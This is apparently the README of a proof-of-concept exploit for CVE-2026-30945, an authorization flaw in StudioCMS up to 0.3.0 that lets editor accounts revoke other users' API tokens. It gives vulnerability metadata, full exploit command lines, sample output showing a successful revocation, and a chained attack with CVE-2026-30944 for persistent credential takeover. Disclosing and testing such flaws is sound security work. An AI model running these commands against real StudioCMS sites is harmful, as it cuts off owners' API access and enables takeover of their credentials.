
Proof-of-concept exploit for CVE-2026-30945, an IDOR in StudioCMS allowing arbitrary API token revocation and denial of service. Includes manual and automated testing modes.
StudioCMS IDOR β Arbitrary API Token Revocation Leading to Denial of Service
The DELETE /studiocms_api/dashboard/api-tokens endpoint in StudioCMS β€ 0.3.0 allows any authenticated user with editor privileges or above to revoke API tokens belonging to any other user, including admin and owner accounts.
The handler accepts tokenID and userID directly from the request payload without verifying token ownership, caller identity, or role hierarchy. This enables targeted denial of service against critical integrations and automations.
Related: This vulnerability shares the same root cause as CVE-2026-30944 (token generation IDOR). When chained together, an attacker can revoke legitimate tokens and generate new ones, achieving complete API credential takeover.
ββββββββββββββββ DELETE /api-tokens ββββββββββββββββ
β β {"tokenID":"<id>", β β
β Attacker β "userID":"<owner-id>"} β StudioCMS β
β (Editor) β βββββββββββββββββββββββββββΊ β Server β
β β β β
β β βββββββββββββββββββββββββββ β β
ββββββββββββββββ {"message":"Token deleted"} ββββββββββββββββ
β
βΌ
ββββββββββββββββ
β Owner's β
β CI/CD β
β Pipeline ββββΊ β 401 Unauthorized
β Integration ββββΊ β API Access Lost
β Monitoring ββββΊ β Silent Failure
ββββββββββββββββ
| Field | Value |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (High) β AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: Authorization Bypass Through User-Controlled Key |
| CWE (secondary) | CWE-863: Incorrect Authorization |
| MITRE ATT&CK | T1531 β Account Access Removal |
| OWASP API | API1:2023 β Broken Object Level Authorization |
| Affected | studiocms β€ 0.3.0 |
| Fixed in | studiocms 0.4.0 |
| File | Description |
|---|---|
cve_2026_30945_poc.py | Python exploitation script with manual & automated modes |
README.md | This file |
LICENSE | MIT License |
Editor accountpip install requests colorama
# Revoke a specific token belonging to the owner
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# Chain with CVE-2026-30944: create a token for the target first
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Save results to JSON
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# Test with multiple roles
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| Argument | Description |
|---|---|
-u, --url | Target StudioCMS base URL |
--target-uuid | Target user UUID whose token will be revoked |
| Argument | Description |
|---|---|
--token-id | Internal token record UUID to revoke (not the JWT). If omitted, the script will attempt to create a token first via CVE-2026-30944 |
| Argument | Description |
|---|---|
--username | Username for authentication |
--password | Password for authentication |
| Argument | Description |
|---|---|
--auto-test | Enable automated multi-role testing |
--editor-user | Editor account username |
--editor-pass | Editor account password |
--visitor-user | Visitor account username |
--visitor-pass | Visitor account password |
| Argument | Description |
|---|---|
--save | Save results to JSON file |
--no-ssl-verify | Disable SSL certificate verification |
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
PHASE 1: Authentication
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[+] Authenticated as 'editor01'
[*] Session user: editor01 (editor)
[*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
PHASE 3: Token Revocation (IDOR)
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[+] Token revoked! Server response: Token deleted
[!] VULNERABILITY CONFIRMED β Token successfully revoked!
[!] Target user's API integrations are now broken (DoS)
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
PHASE 3: Token Revocation (IDOR)
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[*] Access denied (403 Forbidden) β endpoint may be patched
[-] Revocation failed: Access denied (403 Forbidden)
When combined with the token generation IDOR (CVE-2026-30944), an attacker can perform a complete API credential takeover:
Step 1: Revoke owner's legitimate token (CVE-2026-30945)
ββββΊ Owner's CI/CD pipelines break silently
Step 2: Generate new token for owner (CVE-2026-30944)
ββββΊ Attacker now has owner-level API access
Step 3: Owner creates a new token to fix
ββββΊ Attacker revokes it again (persistent DoS)
This creates a scenario where the attacker maintains persistent control over the owner's API access, repeatedly revoking any new tokens the owner creates while maintaining their own illegitimate access.